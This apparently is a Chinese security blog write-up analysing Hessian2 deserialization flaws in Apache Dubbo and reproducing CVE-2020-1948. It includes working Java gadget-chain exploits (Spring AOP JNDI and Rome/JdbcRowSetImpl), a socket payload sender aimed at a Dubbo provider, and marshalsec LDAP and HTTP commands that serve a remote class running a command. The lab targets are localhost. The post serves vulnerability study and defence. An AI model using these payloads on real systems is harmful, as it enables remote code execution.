0 前言
本篇是系列文章的第一篇,主要看看Dubbo使用反序列化协议Hessian2时,存在的安全问题。文章需要RPC、Dubbo、反序列化等前提知识点,推荐先阅读和体验Dubbo以及反序列化漏洞。
Dubbo源码分析
RPC框架dubbo架构原理及使用说明
RPC 框架 Dubbo 从理解到使用(一)
[RPC 框架 Dubbo 从理解到使用(二)
1 反序列化协议-Hessian2
hessian2是由caucho开发的基于Binary-RPC协议实现的远程通讯库,知名Web容器Resin的也是由caucho开发的。
在java中使用hessian2进行序列化和反序列化时,通过native方法或者反射(实际也用了native方法)直接对Field进行复制操作,与某些调用setter和getter方法反序列化的方法不同。
1.1 目标类类型反序列化器
在使用hessian2进行序列化和反序列化操作时,会自动根据类对象选择序列化器和反序列化器,例如在Dubbo的jar包中,有com.alibaba.com.caucho.hessian.io.Hessian2Output
类,该类有writeObject方法如下
- com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject()
@Override
public void writeObject(Object object) throws IOException {
if (object == null) {
writeNull();
return;
}
Serializer serializer;
serializer = findSerializerFactory().getSerializer(object.getClass());
serializer.writeObject(object, this);
}
这里的serializer对象,显然就是通过传入的object类型,找到对应的序列化器,然后再使用对应的序列化器,对object进行序列化。hessian2中可以序列化的类型与相应的序列化器和反序列化器对应关系如下
类型 | 序列化器 | 反序列化器 |
---|---|---|
Collection | CollectionSerializer | CollectionDeserializer |
Map | MapSerializer | MapDeserializer |
Iterator | IteratorSerializer | IteratorDeserializer |
Annotation | AnnotationSerializer | AnnotationDeserializer |
Interface | ObjectSerializer | ObjectDeserializer |
Array | ArraySerializer | ArrayDeserializer |
Enumeration | EnumerationSerializer | EnumerationDeserializer |
Enum | EnumSerializer | EnumDeserializer |
Class | ClassSerializer | ClassDeserializer |
默认 | JavaSerializer | JavaDeserializer |
Throwable | ThrowableSerializer | |
InputStream | InputStreamSerializer | InputStreamDeserializer |
InetAddress | InetAddressSerializer |
可以看出,Collection、Map、Iterator、Array这些常用类型都有相应的(反)序列化器
1.2 Hessian2中的gadget起始点
前面提到针对不同类型Hessian2中有相应的(反)序列化器,添加hessian2的依赖,从com.caucho.hessian.io.Hessian2Input#readObject()
开始看源代码
- com.caucho.hessian.io.Hessian2Input#readObject(Class cl)
public Object readObject(Class cl) throws IOException{
if (cl == null || cl == Object.class) return readObject();
int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
switch (tag) {
case 'N':
{return null;}
..... // 省略
case 'H':
{
Deserializer reader = findSerializerFactory().getDeserializer(cl);
return reader.readMap(this);
}
case 'M':
{
String type = readType();
// hessian/3bb3
if ("".equals(type)) {
Deserializer reader;
reader = findSerializerFactory().getDeserializer(cl);
return reader.readMap(this);
}
else {
Deserializer reader;
reader = findSerializerFactory().getObjectDeserializer(type, cl);
return reader.readMap(this);
}
}
..... // 省略
}
}
这里的case中,H是HashMap的序列化标志,M是Map的序列化标志,Hessian2反序列化时,根据该标值,获取相应的反序列化器,即Deserializer,而针对不同的类型,反序列化器还有不同的处理,这里H和M都会获取到MapDeserializer,因此跟进该类的readMap方法
- com.caucho.hessian.io.MapDeserializer#readMap(AbstractHessianInput in)
public Object readMap(AbstractHessianInput in) throws IOException {
Map map;
if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
可以看到,根据_type
这个参数去选择构建哪种类型的Map类,而后通过while循环调用map.put方法将所有的key-value,传递到map中,而后返回这个创建的Map实例。如果对Commons-Collections利用链比较熟悉的话,应该会想到HashMap的利用链,在调用HashMap#put方法时,会触发HashMap#hashCode方法,并进一步调用key.hashCode()方法,由于key被设置为了TiedMapEntry的实例,因此一步一步进入Transformer调用链。而这里的map.put方法正是Hessian2的gadget起始点。在Dubbo中,虽然对Hessian2进行了一些魔改,但最终也会出现相同的调用:
2 Dubbo中的Hessian2漏洞利用
所用到的环境:
dubbo 2.7.3
springboot 1.2.0.RELEASE (spring version 4.1.3.RELEASE)
2.1 本地方法测试
前面以及提到了,由于hessian2协议在反序列化中调用readObject()方法时,会调用根据反序列化的Map类型创建一个新的Map对象,而后调用该对象的put方法,因而可能造成反序列化漏洞利用。这里先自己写一个类实验一下
package com.bitterz.dubbo;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput;
import java.io.*;
import java.util.HashMap;
public class Hessian2Gadget {
public static class MyHashMap extends HashMap{
public V put(K key, V value) {
super.put(key, value);
System.out.println(111111111);
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){}
System.out.println(22222222);
return null;
}
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
MyHashMap map = new MyHashMap();
map.put("1", "1");
// hessian2的序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream);
hessian2Output.writeObject(map);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(new String(bytes, 0, bytes.length));
// hessian2的反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
o.get(null);
System.out.println(o);
}
我这里创建了一个MyHashMap类继承自HashMap,并重写了put方法,而后在main方法中利用hessian2对MyHashMap进行序列化和反序列化操作,执行代码后,输出结果如下
很明显,MyHashMap#put
方法执行了两次:
-
序列化前为了向map中添加值put了一次,所以弹出一次计算器,并输出了111和222;
-
反序列化时,如前面所述,会调用到反序列化Map类的put方法去添加值,所以又弹出一次计算器,并输出111和222;
因此Dubbo中hessian2协议确实存在被反序列化漏洞利用的可能性,但真正的Web环境中,不可能存在MyHashMap这样的类,直接提供弹计算器的put方法:)因此还需要结合其它依赖进一步增加gadget的可利用性。
2.2 SpringPartiallyComparableAdvisorHolder
Dubbo缺省依赖Spring、Javassist、netty等包,但实际开发使用中很可能用到springboot做微服务,以provider的身份提供服务,所以可以借助常用的包完成gadget的构建,常见的hessian2可用gadget主要是Resin、Rome、SpringAbstractBeanFactoryPointcutAdvisor、XBean这几个。SpringPartiallyComparableAdvisorHolder是Spring AOP中需要用到的类,所以就以这个为例子构建一下poc,代码如下
package com.bitterz.dubbo;
import com.caucho.hessian.io.*;
import org.apache.commons.logging.impl.NoOpLog;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
public class Hessian2SpringGadget {
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
public NoWriteReplaceSerializerFactory() {
}
public Serializer getObjectSerializer(Class> cl) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
public Serializer getSerializer(Class cl) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
}
}
public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
}
public static T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static T createWithConstructor(Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://localhost:1389/ExecTest";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
//反序列化时AspectJAroundAdvice.getOrder会被调用,会触发BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);
//反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
//反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
//反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toString
Class> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
//反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
//反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。
HashMap
还需要用marshalsec开一个恶意ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest
其中ExecTest.class由如下代码编译而成
import java.io.IOException;
public class ExecTest {
public ExecTest() throws IOException {
final Process process = Runtime.getRuntime().exec("calc");
}
}
之后用python在ExecTest.class文件目录中开启文件下载服务
py -3 -m http.server 8090
运行前面的gadget,ldap服务收到请求,并让客户端访问8090端口下载.class文件,并执行该类的无参构造方法,弹出计算器
前面的gadget在注释中已经写明了具体的触发路径,就不做详细的展开了,可以将ExecTest.java中弹计算器的代码替换成new java.io.IOException().printStackTrace();
,再跟踪调用栈即可。这个gadget在springboot下无法复现成功,可能是springboot中aop相关类有一些修改
2.3 Rome (CVE-2020-1948复现)
Rome是java中实现RSS订阅的包,依赖如下
com.rometools
rome
1.8.0
这里复现CVE-2020-1948(Apache Dubbo Provider 反序列化)
- 首先下载zookeeper
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
tar zxvf zookeeper-3.3.3.tar.gz
cd zookeeper-3.3.3
cp conf/zoo_sample.cfg conf/zoo.cfg
- 配置
vim conf/zoo.cfg
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
dataDir=/绝对路径/zookeeper-3.3.3/data
# the port at which the clients will connect
clientPort=2181
- 修改绝对路径,在data目录下放置一个myid文件
mkdir data
touch data/myid
- 启动zookeeper
cd /private/var/tmp/zookeeper-3.3.3/bin
./zkServer.sh start
- 安装dubbo-samples
git clone https://github.com/apache/dubbo-samples.git
cd dubbo-samples/dubbo-samples-api
- 修改dubbo-samples/dubbo-samples-api/pom.xml
4.0.0
org.example
dubbomytest
pom
1.0-SNAPSHOT
org.apache.maven.plugins
maven-compiler-plugin
8
1.8
1.8
2.7.6
4.12
0.30.0
1.2.0
3.7.0
2.21.0
${project.artifactId}:${dubbo.version}
openjdk:8
20880
2181
org.apache.dubbo.samples.provider.Application
org.apache.dubbo
dubbo
2.7.3
org.apache.dubbo
dubbo-common
2.7.3
org.apache.dubbo
dubbo-dependencies-zookeeper
2.7.3
pom
com.rometools
rome
1.8.0
junit
junit
${junit.version}
test
- 编译启动
mvn clean package
或者直接在idea里面启动provider/Application.java
注意修改zookeeper和dubbo的端口,启动后输出dubbo service started
即表示dubbo已启动
使用的payload如下
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Random;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import com.caucho.hessian.io.*;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class Hessian2RomeGadget {
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
public NoWriteReplaceSerializerFactory() {
}
public Serializer getObjectSerializer(Class> cl) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
public Serializer getSerializer(Class cl) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
}
}
public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
}
public static T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static T createWithConstructor(Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:1389/ExecTest");
rs.setMatchColumn("foo");
Reflections.setFieldValue(rs, "listeners",null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(s);
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
和前面2.2一样,用marshalsec开启jndi服务,再用python开个文件下载服务,然后执行payload,向dubbo发送恶意数据,而后在dubbo provider中反序列化触发相应的gadget,实现rce,效果如下
该漏洞在Dubbo 2.7.8中被修复,通过添加黑名单的形式过滤了关键类
总结
dubbo中的hessian2反序列化时,处理map类型的对象会调用map.get方法,而get方法在HashMap的实现中会设计到hashCode、equals方法的调用,从而给某些危险的类方法调用造成了可乘之机。而dubbo使用hessian2作为默认的反序列化协议,容易被发起反序列化漏洞攻击,应当使用白名单过滤反序列化类名。另外有大佬提到,使用黑名单的情况下,对象被反序列化后,调用对象的其它方法,也可能造成威胁http://rui0.cn/archives/1338
这一篇是Dubbo反序列化研究记录的开始,后面还将针对
- Dubbo 2.x下的kryo、fst反序列化漏洞进行学习和研究(CVE-2021-25641)
- 基于kryo的akka协议在flink中的漏洞进行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
- 以及Dubbo 3.x下的triple协议产生的安全漏洞进行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
- 漏洞复现:CVE-2021-30180:Apache Dubbo YAML 反序列化漏洞、CVE-2021-30181:Apache Dubbo Nashorn 脚本远程代码执行漏洞、CVE-2021-30179:Apache Dubbo Generic filter 远程代码执行漏洞、CVE-2021-32824:Apache Dubbo Telnet handler 远程代码执行漏洞复现